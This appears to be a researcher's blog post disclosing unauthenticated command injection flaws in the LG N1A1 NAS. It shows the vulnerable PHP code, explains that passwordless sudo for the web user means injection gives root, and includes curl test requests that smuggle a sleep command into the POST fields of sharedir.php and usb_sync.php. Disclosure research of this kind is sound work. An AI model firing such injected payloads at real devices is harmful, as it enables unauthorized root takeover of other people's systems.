LG N1A1: Unauthenticated Remote Command Injection (CVE-2018–14839)

Recently I heard about a vulnerability in which the password field on some LG NAS devices was vulnerable to command injection. Since, I happen to have one of these devices, an LG N1A1 (Firmware Version: 3718.510), I figured I would check to see if it was vulnerable and it was.

The exploit described by vpnMentor worked exactly as expected. However, further examination of the vulnerability showed that, on my device, if the username that you are using in your exploit payload does not match a valid user then the vulnerable function is not called.

After understanding how the initial attack vector worked I was able to discover not one but two more vulnerable endpoints which I will discuss below.

Exploring the vpnMentor vulnerability (CVE-2018–10818)

As I mentioned above, the original exploit only worked if the username in your payload matched that of a valid user. So why is it that a valid user is required for this exploit to be executed?

Within login_check.php there is a function called login() which takes three HTTP POST parameters including id and password. The id parameter is then passed into a SQLite query to check whether or not the user exists. If the user does not exist then an exception is raised and the script returns response body containing “NG:NO USER” as shown below.

try{
$dbh=new PDO(“sqlite:/etc/nas/db/share.db”);
$sth=$dbh->prepare(“select * from user where uid=’$in_id’”);
$sth->execute();
$users=$sth->fetchAll();
$dbh=null;
}

catch(PDOException $e) {
print “”;
die();
}
if(!$users)
{
return “NG:NO USER\n”;
}

If the user does exist then the script calls the PHP exec() function to convert the user supplied password into its MD5 equivalent that is then compared with the hashed password stored in the SQLite database.

The vulnerability is triggered by the following exec() function due to the fact that the input parameter $pw=$_POST['password']; is never sanitized.

$in_pw = exec(“sudo nas-common md5 $in_pw”);

As with the password parameter, the id parameter is not sanitized either but its not passed to exec() or shell_exec() anywhere in the script therefore mitigating a similar issue with the username field.

Discovering new vulnerabilities..

I cant recall the source but I read an article some time back where the author noted that it is common for mistakes to occur many times within a web application and that if you find one its quite likely that you will find another of the same type elsewhere.

Exploring this idea I began to look for other scripts or functions which took input parameters and passed them directly into exec* to see whether or not there were any other attack vectors. As it turns out there were a significant number of opportunities to exploit similar vulnerabilities. However, some care was taken to validate whether or not the client has been authenticated and in many of these cases the scripts required that the client had a valid session.

Some, but not all, pages contained the following code:

require_once ("../session/session_manage.php");
if ( sm_session_check_on_popup() == FALSE )
{
//require_once "../php/msg_illegal_access.php";
echo '-99';
die();
}

The script session_manage.php contains a basic function to validate that the client does have a valid session and that they are authorized to access the page in question.

Not entirely interested in working on an authentication bypass I decided to look for pages or scripts which were missing this functionality but still passed input parameters into exec functions.

To do this I used grep to find a list of PHP scripts within /var/www/en/php that expected POST parameters as shown below:

grep -L '$_POST\[\"' ./* > /tmp/list.txt

Iterating over this list with a simple bash loop I was able to quickly determine which PHP scripts contained POST parameters but did not require session validation.

$ > for i in `cat /tmp/list.txt`;do echo $i && grep session_manage.php $i;done
....
usb_get_image_prog.php
usb_get_image_prog_ns.php
usb_image_progress_pop.php
include "../session/session_manage.php";
usb_image_progress_pop_ns.php
include "../session/session_manage.php";
usb_set_conf.php
include ("../session/session_manage.php");
usb_sync.php
usb_sync_ns.php
usb_xml.php
include ("../session/session_manage.php");
usb_xml_ns.php
....
$ >

As you can see in the list above its relatively easy to spot the scripts that do not require a valid session. There are a lot. So, now I started looking for one that met the following requirements.

  • Did not require a valid session
  • Accepted input parameters via $_POST and passed them into exec functions
  • Did not require 10+ input parameters (because Im lazy)

Findings..

There were two that I quickly identified that matched the level of effort I was willing to put into a consumer grade NAS which is no longer supported.

  • /en/php/usb_sync.php
  • /system/sharedir.php

Ok, so I am going to start off with sharedir.php because this one actually surprised me a bit. The only thing that comes to mind is that this script is a leftover artifact from development.

<?php
$ID = $_POST["uid"];
//echo "sudo nas-share gen_user_folder_list ".$ID."\n";
shell_exec("sudo nas-share gen_user_folder_list ".$ID);
//shell_exec("sudo nas-share gen_user_folder_list "."admin");
echo "MSG OK\n";
ob_flush();
flush();
?>

Very little effort is required to identify the Command Injection vulnerability in the script above. But, I do want to point out something of particular interest. You may have noticed that the system commands within shell_exec() start with “sudo”. That is because the apache user, www-data, has the following sudo permissions.

www-data ALL=(ALL) NOPASSWD: ALL

So any command injection or reverse shell executed as the www-data user will immediately lead to escalation of privileges and root access to the device.

The second script, usb_sync.php, is used to copy your backup files to USB media. Below I have provided the vulnerable function but the script is quite long so a significant amount has been omitted.

<?php
include "../inc/lcdmsg.php";
$act = $_POST['act'];
$tasknum = $_POST['task_number'];
.....
function cms_sync($tasknum)
{
$cmd = "sudo /usr/bin/cmssync -s /usb -d /mnt/fs/Vol1/system/Backup/USB -p php -o ".$tasknum;
exec($cmd);

}
?>

Again as with the previous examples this function is taking input parameters from POST data and passing them directly into system commands.

Testing if your NAS is vulnerable

Testing is pretty simple and can be done with curl. Below are examples for sharedir.php and usb_sync.php

sharedir.php

time curl -i -s -k  -X 'POST' -H 'Host: <YOUR NAS IP>:8000' --data-binary '&uid=10; /bin/sleep 5' 'http://<YOUR NAS IP>:8000/system/sharedir.php'

usb_sync.php

time curl -i -s -k  -X 'POST' -H 'Host: <YOUR NAS IP>:8000' --data-binary "&act=sync&task_number=1;/bin/sleep 5" 'http://<YOUR NAS IP>:8000/en/php/usb_sync.php'

Mitigation?

So, you may have noticed that the firmware version that my NAS is running is quite dated. This version was released in June of 2011 and the latest version was released in December of 2011. See https://www.lg.com/us/support/product-help/CT30000780-1338576152107-firmware-or-software-update

Unfortunately the December release is the last firmware update I could find for this particular model but the download link is dead. In addition, the script which performs automatic updates executes a wget against http://lgodd.lge.com/. The A record for this endpoint still exists but the web server that was once hosted here no longer responds.

Short of editing the majority of the PHP scripts to patch the vulnerabilities noted above as well as several others the only option I can see is to power off the device and upgrade to a newer model.

I think it would be interesting to see the results of similar research on a newer model to see whether or not security practices have improved since this firmware version but I do not have access to a newer device at this time.

PoC || GTFO

If approved by the Offensive Security team there will be a PoC available here.

CVE

The following CVE for these vulnerabilities is currently pending but will be found here.

References